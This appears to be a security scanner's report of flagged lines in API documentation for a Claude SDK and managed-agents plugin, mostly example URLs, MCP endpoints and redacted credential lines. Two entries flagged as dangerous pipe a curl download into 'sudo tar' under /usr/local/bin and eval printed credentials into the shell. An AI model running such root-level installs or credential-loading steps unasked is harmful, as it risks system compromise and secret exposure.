[ 'type' => 'github_repository', 'url' => 'https://github.com/org/backend', - Network accessline 424
'type' => 'github_repository', 'url' => 'https://github.com/org/backend', 'mount_path' => '/workspace/backend', - Network accessline 425
'url' => 'https://github.com/org/backend',
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/python/claude-api/README.md
- Access to secretsline 15
[Credential-related source omitted] - Access to secretsline 20
[Credential-related source omitted] - Network accessline 53
`anthropic` 1.x is built on [`httpx2`](https://pypi.org/project/httpx2/), not `httpx`. `anthropic.Timeout` is `httpx2.Timeout`; if you import the HTTP library yourself, write `import httpx2 as httpx` — an object from the `httpx` package (`h - Network accessline 77
client = Anthropic( base_url="http://my.test.server.example.com:8083", # or ANTHROPIC_BASE_URL env var - Network accessline 78
base_url="http://my.test.server.example.com:8083", # or ANTHROPIC_BASE_URL env var - Network accessline 79
http_client=DefaultHttpxClient(proxy="http://my.test.proxy.example.com"), - Network accessline 178
"source": { "type": "url", "url": "https://example.com/image.png" - Network accessline 179
"type": "url", "url": "https://example.com/image.png" } - Network accessline 180
"url": "https://example.com/image.png"
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/python/claude-api/sdk-upgrade.md
- Network accessline 18
**Target version.** Before writing any pin, confirm a 1.x release is actually published: `pip index versions anthropic` (or `curl -s https://pypi.org/pypi/anthropic/json` and read `info.version`). Use the newest 1.x you find. If no 1.x rele - Network accessline 60
- **[BREAKS] Objects passed in.** `httpx.Timeout`, `httpx.Limits`, transports (`httpx.HTTPTransport(...)`, `AsyncHTTPTransport`, `MockTransport`), and whole clients (`httpx.Client` / `AsyncClient` as `http_client=`) must come from `httpx2`. - Network accessline 67
client = Anthropic( timeout=httpx.Timeout(60.0, connect=5.0), - Network accessline 68
timeout=httpx.Timeout(60.0, connect=5.0), - Network accessline 69
http_client=DefaultHttpxClient(proxy="http://proxy.example", transport=httpx.HTTPTransport(retries=1)), - Network accessline 76
client = Anthropic( timeout=httpx.Timeout(60.0, connect=5.0), - Network accessline 77
timeout=httpx.Timeout(60.0, connect=5.0), - Network accessline 78
http_client=DefaultHttpxClient(proxy="http://proxy.example", transport=httpx.HTTPTransport(retries=1)),
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/python/claude-api/tool-use.md
- Network accessline 91
**Beta.** Convert [MCP (Model Context Protocol)](https://modelcontextprotocol.io/) tools, prompts, and resources to Anthropic API types for use with the tool runner. Requires `pip install anthropic[mcp]` (Python 3.10+). - Network accessline 496
- `https://github.com/anthropics/anthropic-sdk-python/blob/main/examples/memory/basic.py`
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/python/managed-agents/README.md
- Network accessline 3
> **Bindings not shown here:** This README covers the most common managed-agents flows for Python. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the Python SDK repo **or the relevant docs page** from - Access to secretsline 19
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Network accessline 62
) print(session.id, session.status) print(f"Trace: https://platform.claude.com/workspaces/default/sessions/{session.id}") # swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 64
print(f"Trace: https://platform.claude.com/workspaces/default/sessions/{session.id}") # swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 98
{ "type": "github_repository", "url": "https://github.com/owner/repo", - Network accessline 99
"type": "github_repository", "url": "https://github.com/owner/repo", "mount_path": "/workspace/repo", - Network accessline 100
"url": "https://github.com/owner/repo", - Access to secretsline 102
[Credential-related source omitted] - Network accessline 195
> ⚠<U+FE0F> **Prefer the SDK over raw `requests`/`httpx`.** If you hand-roll a poll loop, don't assume `timeout=(5, 60)` or `httpx.Timeout(120)` caps total call duration — both are **per-chunk** read timeouts (reset on every byte), so a trickling - Network accessline 317
model="claude-opus-5", mcp_servers=[ {"type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse"}, - Network accessline 318
mcp_servers=[ {"type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse"}, ], - Network accessline 319
{"type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse"},
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/ruby/claude-api/README.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/ruby/managed-agents/README.md
- Network accessline 3
> **Bindings not shown here:** This README covers the most common managed-agents flows for Ruby. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the Ruby SDK repo **or the relevant docs page** from `sh - Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 22
[Credential-related source omitted] - Network accessline 64
) puts "Session ID: #{session.id}" puts "Trace: https://platform.claude.com/workspaces/default/sessions/#{session.id}" # swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 66
puts "Trace: https://platform.claude.com/workspaces/default/sessions/#{session.id}" # swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 271
type: "url", name: "github", url: "https://api.githubcopilot.com/mcp/" - Network accessline 272
name: "github", url: "https://api.githubcopilot.com/mcp/" } - Network accessline 273
url: "https://api.githubcopilot.com/mcp/" - Network accessline 308
auth: { type: "mcp_oauth", mcp_server_url: "https://mcp.slack.com/mcp", - Network accessline 309
[Credential-related source omitted] - Network accessline 310
mcp_server_url: "https://mcp.slack.com/mcp", - Access to secretsline 311
[Credential-related source omitted] - Network accessline 312
expires_at: "2026-04-15T00:00:00Z", refresh: { token_endpoint: "https://slack.com/api/oauth.v2.access", - Network accessline 313
refresh: { token_endpoint: "https://slack.com/api/oauth.v2.access", client_id: "1234567890.0987654321", - Network accessline 314
token_endpoint: "https://slack.com/api/oauth.v2.access", - Access to secretsline 320
[Credential-related source omitted] - Access to secretsline 332
[Credential-related source omitted] - Network accessline 354
{ type: "github_repository", url: "https://github.com/org/repo", - Network accessline 355
type: "github_repository", url: "https://github.com/org/repo", mount_path: "/workspace/repo", - Network accessline 356
url: "https://github.com/org/repo", - Network accessline 368
{ type: "github_repository", url: "https://github.com/org/frontend", - Network accessline 369
type: "github_repository", url: "https://github.com/org/frontend", mount_path: "/workspace/frontend", - Network accessline 370
url: "https://github.com/org/frontend", - Network accessline 374
{ type: "github_repository", url: "https://github.com/org/backend", - Network accessline 375
type: "github_repository", url: "https://github.com/org/backend", mount_path: "/workspace/backend", - Network accessline 376
url: "https://github.com/org/backend",
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/agent-design.md
- Network accessline 28
- **Security boundary.** Actions that require gating are natural candidates. Reversibility is a useful criterion: hard-to-reverse actions (external API calls, sending messages, deleting data) can be gated behind user confirmation. A `send_e
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/anthropic-cli.md
- Network accessline 23
# Linux / WSL — pick the release from github.com/anthropics/anthropic-cli/releases curl -fsSL "https://github.com/anthropics/anthropic-cli/releases/download/v${VERSION}/ant_${VERSION}_$(uname -s | tr A-Z a-z)_$(uname -m | sed -e s/x86_64/am - Dangerous shell operationline 24
curl -fsSL "https://github.com/anthropics/anthropic-cli/releases/download/v${VERSION}/ant_${VERSION}_$(uname -s | tr A-Z a-z)_$(uname -m | sed -e s/x86_64/amd64/ -e s/aarch64/arm64/).tar.gz" | sudo tar -xz -C /usr/local/bin ant - Network accessline 24
curl -fsSL "https://github.com/anthropics/anthropic-cli/releases/download/v${VERSION}/ant_${VERSION}_$(uname -s | tr A-Z a-z)_$(uname -m | sed -e s/x86_64/amd64/ -e s/aarch64/arm64/).tar.gz" \ - Dangerous shell operationline 25
| sudo tar -xz -C /usr/local/bin ant - Access to secretsline 31
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 34
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted] - Network accessline 57
# Bare access token — for curl's Authorization header curl https://api.anthropic.com/v1/messages \ - Network accessline 58
curl https://api.anthropic.com/v1/messages \ - Access to secretsline 65
[Credential-related source omitted] - Dangerous shell operationline 67
set -a; eval "$(ant auth print-credentials --env)"; set +a - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 71
[Credential-related source omitted] - Access to secretsline 73
[Credential-related source omitted] - Network accessline 106
`--transform` takes a [GJSON path](https://github.com/tidwall/gjson/blob/master/SYNTAX.md). On list endpoints it runs **per item**, not on the envelope.
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/claude-platform-on-aws.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/error-codes.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/live-sources.md
- Network accessline 16
| Topic | URL | Extraction Prompt | | --------------- | --------------------------------------- - Network accessline 17
| --------------- | ---------------------------------------------------------------------------- | ------------------------------------------------------------------------------- | | Models Overview | `https://platform.claude.com/docs/en/mo - Network accessline 18
| Models Overview | `https://platform.claude.com/docs/en/models/overview.md` | "Extract current model IDs, context windows, and pricing for all Claude models" | - Network accessline 19
| Migration Guide | `https://platform.claude.com/docs/en/about-claude/models/migration-guide.md` | "Extract breaking changes, deprecated parameters, and per-model migration steps when moving to a newer Claude model" | - Network accessline 20
| Introducing Claude Fable 5 | `https://platform.claude.com/docs/en/models/fable-5/introducing-claude-fable-5-and-claude-mythos-5.md` | "Extract capabilities, API changes, and availability stages for Claude Fable 5 and Claude Mythos 5" | - Network accessline 21
| Pricing | `https://platform.claude.com/docs/en/about-claude/pricing.md` | "Extract current pricing per million tokens for input and output" | - Network accessline 25
| Topic | URL | Extraction Prompt | | ----------------- | ---------------------------- - Network accessline 26
| ----------------- | ---------------------------------------------------------------------------- | -------------------------------------------------------------------------------------- | | Extended Thinking | `https://platform.claude.com - Network accessline 27
| Extended Thinking | `https://platform.claude.com/docs/en/build-with-claude/extended-thinking.md` | "Extract extended thinking parameters, budget_tokens requirements, and usage examples" | - Network accessline 28
| Adaptive Thinking | `https://platform.claude.com/docs/en/build-with-claude/adaptive-thinking.md` | "Extract adaptive thinking setup, effort levels, and Claude Opus 5 usage examples" | - Network accessline 29
| Effort Parameter | `https://platform.claude.com/docs/en/build-with-claude/effort.md` | "Extract effort levels, cost-quality tradeoffs, and interaction with thinking" | - Network accessline 30
| Tool Use | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/overview.md` | "Extract tool definition schema, tool_choice options, and handling tool results" | - Network accessline 31
| Streaming | `https://platform.claude.com/docs/en/build-with-claude/streaming.md` | "Extract streaming event types, SDK examples, and best practices" | - Network accessline 32
| Prompt Caching | `https://platform.claude.com/docs/en/build-with-claude/prompt-caching.md` | "Extract cache_control usage, pricing benefits, and implementation examples" | - Network accessline 36
| Topic | URL | Extraction Prompt | | ----------- | ------------------------------------------------------------------- - Network accessline 37
| ----------- | ---------------------------------------------------------------------- | ----------------------------------------------------------------- | | Vision | `https://platform.claude.com/docs/en/build-with-claude/vision.md` - Network accessline 38
| Vision | `https://platform.claude.com/docs/en/build-with-claude/vision.md` | "Extract supported image formats, size limits, and code examples" | - Network accessline 39
| PDF Support | `https://platform.claude.com/docs/en/build-with-claude/pdf-support.md` | "Extract PDF handling capabilities, limits, and examples" | - Network accessline 43
| Topic | URL | Extraction Prompt | | ---------------- | -------------- - Network accessline 44
| ---------------- | --------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------- | | Batch Processing | `https://platf - Network accessline 45
| Batch Processing | `https://platform.claude.com/docs/en/build-with-claude/batch-processing.md` | "Extract batch API endpoints, request format, and polling for results" | | Files API | `https://platf - Network accessline 46
| Files API | `https://platform.claude.com/docs/en/build-with-claude/files.md` | "Extract file upload, download, and referencing in messages, including supported types and beta header" | - Network accessline 47
| Token Counting | `https://platform.claude.com/docs/en/build-with-claude/token-counting.md` | "Extract token counting API usage and examples" | - Network accessline 48
| Rate Limits | `https://platform.claude.com/docs/en/api/rate-limits.md` | "Extract current rate limits by tier and model" | - Network accessline 49
| Errors | `https://platform.claude.com/docs/en/api/errors.md` | "Extract HTTP error codes, meanings, and retry guidance" | - Network accessline 50
| Amazon Bedrock | `https://platform.claude.com/docs/en/build-with-claude/claude-on-amazon-bedrock.md` | "Extract the AnthropicBedrockMantle client per language, `anthropic.`-prefixed model IDs, auth paths, feature availability, and regio - Network accessline 51
| Claude Platform on AWS | `https://platform.claude.com/docs/en/build-with-claude/claude-platform-on-aws.md` | "Extract the AnthropicAWS client per language, SigV4 auth, credential precedence, short-term API keys, workspace_id, and region r - Network accessline 52
| Claude Platform on AWS — IAM actions | `https://platform.claude.com/docs/en/api/claude-platform-on-aws-iam-actions.md` | "Extract the IAM action names, resource ARNs, and policy examples required for each API capability" | - Network accessline 56
| Topic | URL | Extraction Prompt | | -------------- | ---------------------- - Network accessline 57
| -------------- | -------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- | | Code Execution | `https://platform.clau - Network accessline 58
| Code Execution | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/code-execution-tool.md` | "Extract code execution tool setup, file upload, container reuse, and response handling" | - Network accessline 59
| Computer Use | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/computer-use.md` | "Extract computer use tool setup, capabilities, and implementation examples" | - Network accessline 60
| Bash Tool | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/bash-tool.md` | "Extract bash tool schema, reference implementation, and security considerations" | - Network accessline 61
| Text Editor | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/text-editor-tool.md` | "Extract text editor tool commands, schema, and reference implementation" | - Network accessline 62
| Memory Tool | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/memory-tool.md` | "Extract memory tool commands, directory structure, and implementation patterns" | - Network accessline 63
| Tool Search | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool.md` | "Extract tool search setup, when to use, and cache interaction" | - Network accessline 64
| Programmatic Tool Calling | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/programmatic-tool-calling.md` | "Extract PTC setup, script execution model, and tool invocation from code" | - Network accessline 65
| Skills | `https://platform.claude.com/docs/en/agents-and-tools/skills.md` | "Extract skill folder structure, SKILL.md format, and loading behavior" | - Network accessline 69
| Topic | URL | Extraction Prompt | | ------------------ | ------------------------------------------------------------ - Network accessline 70
| ------------------ | ----------------------------------------------------------------------------- | --------------------------------------------------- | | Structured Outputs | `https://platform.claude.com/docs/en/build-with-claude/struc - Network accessline 71
| Structured Outputs | `https://platform.claude.com/docs/en/build-with-claude/structured-outputs.md` | "Extract output_config.format usage and schema enforcement" | - Network accessline 72
| Compaction | `https://platform.claude.com/docs/en/build-with-claude/compaction.md` | "Extract compaction setup, trigger config, and streaming with compaction" | - Network accessline 73
| Context Editing | `https://platform.claude.com/docs/en/build-with-claude/context-editing.md` | "Extract context editing thresholds, what gets cleared, and configuration" | - Network accessline 74
| Citations | `https://platform.claude.com/docs/en/build-with-claude/citations.md` | "Extract citation format and implementation" | - Network accessline 75
| Context Windows | `https://platform.claude.com/docs/en/build-with-claude/context-windows.md` | "Extract context window sizes and token management" | - Network accessline 81
| Topic | URL | Extraction Prompt | | --------------------- | ------- - Network accessline 82
| --------------------- | -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | | Overview | `https: - Network accessline 83
| Overview | `https://platform.claude.com/docs/en/managed-agents/overview.md` | "Extract the high-level architecture and how agents/sessions/environments/vaults fit together" | - Network accessline 84
| Quickstart | `https://platform.claude.com/docs/en/managed-agents/quickstart.md` | "Extract the minimal end-to-end agent → environment → session → stream code path" | - Network accessline 85
| Agent Setup | `https://platform.claude.com/docs/en/managed-agents/agent-setup.md` | "Extract agent create/update/list-versions/archive lifecycle and parameters" | - Network accessline 86
| Define Outcomes | `https://platform.claude.com/docs/en/managed-agents/define-outcomes.md` | "Extract outcome definitions, evaluation hooks, and success criteria configuration" | - Network accessline 87
| Sessions | `https://platform.claude.com/docs/en/managed-agents/sessions.md` | "Extract session lifecycle, status transitions, idle/terminated semantics, and resume rules" | - Network accessline 88
| Environments | `https://platform.claude.com/docs/en/managed-agents/environments.md` | "Extract environment config (cloud/networking), management endpoints, and reuse model" | - Network accessline 89
| Self-Hosted Sandboxes | `https://platform.claude.com/docs/en/managed-agents/self-hosted-sandboxes.md` | "Extract config:{type:self_hosted}, ANTHROPIC_ENVIRONMENT_KEY, EnvironmentWorker.run/run_one, beta_agent_toolset, ant beta:worker p - Network accessline 90
| Self-Hosted Sandboxes — Security | `https://platform.claude.com/docs/en/managed-agents/self-hosted-sandboxes-security.md` | "Extract what the customer owns (hardening, egress, key custody, trust boundaries) vs what Anthropic cannot do" | - Network accessline 91
| Events and Streaming | `https://platform.claude.com/docs/en/managed-agents/events-and-streaming.md` | "Extract event stream types, stream-first ordering, reconnect/dedupe, and steering patterns" | - Network accessline 92
| Tools | `https://platform.claude.com/docs/en/managed-agents/tools.md` | "Extract built-in toolset, custom tool definitions, and tool result wire format" | - Network accessline 93
| Files | `https://platform.claude.com/docs/en/managed-agents/files.md` | "Extract file upload, mount paths, session resources, and listing/downloading session outputs" | - Network accessline 94
| Permission Policies | `https://platform.claude.com/docs/en/managed-agents/permission-policies.md` | "Extract permission policy types (allow/deny/confirm) and per-tool config" | - Network accessline 95
| Multi-Agent | `https://platform.claude.com/docs/en/managed-agents/multiagent-orchestration.md` | "Extract multi-agent composition patterns, sub-agent invocation, and result handoff" | - Network accessline 96
| Observability | `https://platform.claude.com/docs/en/managed-agents/observability.md` | "Extract logging, tracing, and usage telemetry exposed by managed agents" | - Network accessline 97
| Webhooks | `https://platform.claude.com/docs/en/managed-agents/webhooks.md` | "Extract webhook endpoint registration, HMAC signature verification, supported event types, and delivery semantics" | - Network accessline 98
| GitHub | `https://platform.claude.com/docs/en/managed-agents/github.md` | "Extract github_repository resource shape, multi-repo mounting, and token rotation" | - Network accessline 99
| MCP Connector | `https://platform.claude.com/docs/en/managed-agents/mcp-connector.md` | "Extract MCP server declaration on agents and vault-based credential injection at session" | - Network accessline 100
| Vaults | `https://platform.claude.com/docs/en/managed-agents/vaults.md` | "Extract vault create, credential add/rotate, OAuth refresh shape, and archive" | - Network accessline 101
| Skills | `https://platform.claude.com/docs/en/managed-agents/skills.md` | "Extract skill packaging and loading model for managed agents" | - Network accessline 102
| Memory | `https://platform.claude.com/docs/en/managed-agents/memory.md` | "Extract memory resource shape, scoping, and lifecycle" | - Network accessline 103
| Onboarding | `https://platform.claude.com/docs/en/managed-agents/onboarding.md` | "Extract first-run setup, prerequisites, and account/region requirements" | - Network accessline 104
| Cloud Containers | `https://platform.claude.com/docs/en/managed-agents/cloud-containers.md` | "Extract cloud container runtime, image config, and network/storage knobs" | - Network accessline 105
| Migration | `https://platform.claude.com/docs/en/managed-agents/migration.md` | "Extract migration paths from earlier APIs/preview shapes to GA managed agents" | - Network accessline 111
| Topic | URL | Extraction Prompt | | ------------- | --------------------------------------------- - Network accessline 112
| ------------- | ------------------------------------------------------- | -------------------------------------------------------------------------------------------------- | | Anthropic CLI | `https://platform.claude.com/docs/en/api/sdks - Network accessline 113
| Anthropic CLI | `https://platform.claude.com/docs/en/api/sdks/cli.md` | "Extract CLI install, authentication, command structure, and the beta:agents/environments/sessions commands" | - Network accessline 114
| Authentication overview | `https://platform.claude.com/docs/en/manage-claude/authentication.md` | "Extract the credential options (API keys, interactive OAuth login, Workload Identity Federation) and when to use each" | - Network accessline 115
| WIF reference | `https://platform.claude.com/docs/en/manage-claude/wif-reference.md` | "Extract credential precedence order, the profile configuration file schema, and the configuration directory layout" | - Network accessline 123
| SDK | URL | Extraction Prompt | | ---------- | ----------------------------- - Network accessline 124
| ---------- | -------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------- | | Python | `https://github.com/anthropic - Network accessline 125
| Python | `https://github.com/anthropics/anthropic-sdk-python` | "Extract beta managed-agents namespaces, classes, and method signatures (`client.beta.agents`, `client.beta.sessions`)" | - Network accessline 126
| TypeScript | `https://github.com/anthropics/anthropic-sdk-typescript` | "Extract beta managed-agents namespaces, classes, and method signatures (`client.beta.agents`, `client.beta.sessions`)" | - Network accessline 127
| Java | `https://github.com/anthropics/anthropic-sdk-java` | "Extract beta managed-agents classes, builders, and method signatures (`client.beta().agents()`, `BetaManagedAgents*`)" | - Network accessline 128
| Go | `https://github.com/anthropics/anthropic-sdk-go` | "Extract beta managed-agents types and method signatures (`client.Beta.Agents`, `BetaManagedAgents*` event types)" | - Network accessline 129
| Ruby | `https://github.com/anthropics/anthropic-sdk-ruby` | "Extract beta managed-agents methods and parameter shapes (`client.beta.agents`, `client.beta.sessions`)" | - Network accessline 130
| C# | `https://github.com/anthropics/anthropic-sdk-csharp` | "Extract beta managed-agents classes and method signatures (NuGet package, `BetaManagedAgents*` types)" | - Network accessline 131
| PHP | `https://github.com/anthropics/anthropic-sdk-php` | "Extract beta managed-agents classes and method signatures (`$client->beta->agents`, `BetaManagedAgents*` params)" | - Network accessline 139
| SDK | URL | Extraction Prompt | | ------------------ - Network accessline 141
| Python (0.x → 1.x) | `https://github.com/anthropics/anthropic-sdk-python/blob/main/MIGRATION.md` | "Extract every breaking change with its before/after code, the new minimum Python version, and the upgrade command" |
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-api-reference.md
- Network accessline 250
"type": "url", "name": "github", "url": "https://api.githubcopilot.com/mcp/" - Network accessline 251
"name": "github", "url": "https://api.githubcopilot.com/mcp/" } - Network accessline 252
"url": "https://api.githubcopilot.com/mcp/" - Network accessline 279
{ "type": "github_repository", "url": "https://github.com/owner/repo (required)", - Network accessline 280
[Credential-related source omitted] - Network accessline 281
"url": "https://github.com/owner/repo (required)", - Network accessline 445
Managed Agents endpoints have per-organization request-per-minute (RPM) limits, separate from your [Messages API token limits](https://platform.claude.com/docs/en/api/rate-limits). Model inference inside a session still draws from your orga - Network accessline 453
Files and Skills endpoints use the standard tier-based [rate limits](https://platform.claude.com/docs/en/api/rate-limits).
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-client-patterns.md
- Network accessline 5
Code samples are TypeScript — other languages follow the same shape; see `{lang}/managed-agents/README.md` (cURL and C#: `curl/managed-agents.md`) for equivalents.
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-core.md
- Network accessline 50
Every session has a live trace view in the Anthropic Console at `https://platform.claude.com/workspaces/{workspace}/sessions/{session_id}`. Print this URL immediately after creating a session so the user can watch tool calls and messages st - Network accessline 129
> 💡 **Watch it live in Console.** While developing, print a link so you can click through to the session UI instead of parsing the event stream: `https://platform.claude.com/workspaces/{workspace}/sessions/{session.id}`. Use `default` for ` - Network accessline 353
{"type": "mcp_toolset", "mcp_server_name": "linear"}, ], "mcp_servers": [{"type": "url", "name": "linear", "url": "https://mcp.linear.app/sse"}], - Network accessline 354
], "mcp_servers": [{"type": "url", "name": "linear", "url": "https://mcp.linear.app/sse"}], }, - Network accessline 355
"mcp_servers": [{"type": "url", "name": "linear", "url": "https://mcp.linear.app/sse"}],
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-environments.md
- Network accessline 149
model: 'claude-opus-5', mcp_servers: [ { type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/' }, - Network accessline 150
mcp_servers: [ { type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/' }, ], - Network accessline 151
{ type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/' }, - Network accessline 166
{ type: 'github_repository', url: 'https://github.com/owner/repo', - Network accessline 167
[Credential-related source omitted] - Network accessline 168
url: 'https://github.com/owner/repo', - Access to secretsline 169
[Credential-related source omitted] - Network accessline 185
"type": "url", "name": "github", "url": "https://api.githubcopilot.com/mcp/", - Network accessline 186
"name": "github", "url": "https://api.githubcopilot.com/mcp/", }], - Network accessline 187
"url": "https://api.githubcopilot.com/mcp/", - Network accessline 199
resources=[{ "type": "github_repository", "url": "https://github.com/owner/repo", - Network accessline 200
[Credential-related source omitted] - Network accessline 201
"url": "https://github.com/owner/repo", - Access to secretsline 202
[Credential-related source omitted]
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-events.md
- Network accessline 52
> ⚠<U+FE0F> **Robust polling (raw HTTP).** If you bypass the SDK and roll your own poll loop, don't rely on `requests` or `httpx` timeouts as wall-clock caps — they're **per-chunk** read timeouts, reset every time a byte arrives. A trickling respo
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-memory.md
- Network accessline 199
For cURL examples and the CLI (`ant beta:memory-stores ...`), web_fetch the Memory URL in `shared/live-sources.md` → Managed Agents.
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-multiagent.md
- Network accessline 89
The sections below are the reference for rosters, threads, events, and client-side handling; the platform guide is `https://platform.claude.com/docs/en/managed-agents/multiagent-orchestration.md`. - Network accessline 257
For per-language bindings beyond Python, web_fetch `https://platform.claude.com/docs/en/managed-agents/multiagent-orchestration.md` (see `shared/live-sources.md`).
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-onboarding.md
- Network accessline 73
**Block 2 — Runtime (every invocation; conversational and Outcome shapes).** SDK code in the detected language (Python/TS/cURL — SKILL.md → Language Detection); don't emit shell loops here: - Network accessline 75
1. Load `agent_id` + `env_id` from config/env 2. `sessions.create(agent=AGENT_ID, environment_id=ENV_ID, resources=[...], vault_ids=[...])`, then print the Console URL so the user can watch live: `https://platform.claude.com/workspaces/defa - Network accessline 76
2. `sessions.create(agent=AGENT_ID, environment_id=ENV_ID, resources=[...], vault_ids=[...])`, then print the Console URL so the user can watch live: `https://platform.claude.com/workspaces/default/sessions/{session.id}` (swap `default` for - Network accessline 82
Pull exact syntax from `{lang}/managed-agents/README.md` for your detected language (cURL and C#: use `curl/managed-agents.md` as the wire-level reference). Don't invent field names.
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-outcomes.md
- Network accessline 108
For the raw HTTP shapes and per-language SDK bindings beyond Python, web_fetch `https://platform.claude.com/docs/en/managed-agents/define-outcomes.md` (see `shared/live-sources.md`).
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-overview.md
- Network accessline 32
**Which beta header goes where:** The SDK sets `managed-agents-2026-04-01` automatically on `client.beta.{agents,environments,sessions,vaults,memory_stores,deployments,deployment_runs}.*` calls, and `files-api-2025-04-14` / `skills-2025-10- - Network accessline 70
- **Stream to get events** — `GET /v1/sessions/{id}/events/stream` is the primary way to receive agent output in real-time. - **SSE stream has no replay — reconnect with consolidation** — if the stream drops while a `agent.tool_use`, `agent - Network accessline 71
- **SSE stream has no replay — reconnect with consolidation** — if the stream drops while a `agent.tool_use`, `agent.mcp_tool_use`, or `agent.custom_tool_use` is pending resolution (`user.tool_confirmation` for the first two, `user.custom_t - Network accessline 72
- **Don't trust HTTP-library timeouts as wall-clock caps** — `requests` `timeout=(c, r)` and `httpx.Timeout(n)` are *per-chunk* read timeouts; they reset every byte, so a trickling connection can block indefinitely. For a hard deadline on r
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-scheduled-deployments.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-self-hosted-sandboxes.md
- Access to secretsline 9
[Credential-related source omitted] - Access to secretsline 40
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Access to secretsline 107
[Credential-related source omitted] - Access to secretsline 108
[Credential-related source omitted] - Access to secretsline 110
[Credential-related source omitted] - Access to secretsline 121
[Credential-related source omitted] - Access to secretsline 131
[Credential-related source omitted] - Access to secretsline 145
[Credential-related source omitted] - Access to secretsline 169
[Credential-related source omitted]
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/managed-agents-tools.md
- Network accessline 163
{ "mcp_servers": [ { "type": "url", "name": "linear", "url": "https://mcp.linear.app/mcp" } - Network accessline 164
"mcp_servers": [ { "type": "url", "name": "linear", "url": "https://mcp.linear.app/mcp" } ], - Network accessline 165
{ "type": "url", "name": "linear", "url": "https://mcp.linear.app/mcp" } - Access to secretsline 200
[Credential-related source omitted] - Network accessline 228
"auth": { "type": "mcp_oauth", "mcp_server_url": "https://mcp.notion.com/mcp", - Network accessline 229
[Credential-related source omitted] - Network accessline 230
"mcp_server_url": "https://mcp.notion.com/mcp", - Access to secretsline 231
[Credential-related source omitted] - Network accessline 234
[Credential-related source omitted] - Network accessline 235
"client_id": "<your OAuth client_id>", "token_endpoint": "https://api.notion.com/v1/oauth/token", "token_endpoint_auth": { "type": "none" } - Network accessline 236
"token_endpoint": "https://api.notion.com/v1/oauth/token", - Access to secretsline 248
[Credential-related source omitted] - Access to secretsline 249
[Credential-related source omitted] - Access to secretsline 262
[Credential-related source omitted]
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/model-migration.md
- Network accessline 452
Haiku 4.5 has its own rate-limit pool separate from Haiku 3 / 3.5. If you're ramping traffic as you migrate, check your tier's Haiku 4.5 limits at [API rate limits](https://platform.claude.com/docs/en/api/rate-limits) — a quota that comfort - Network accessline 503
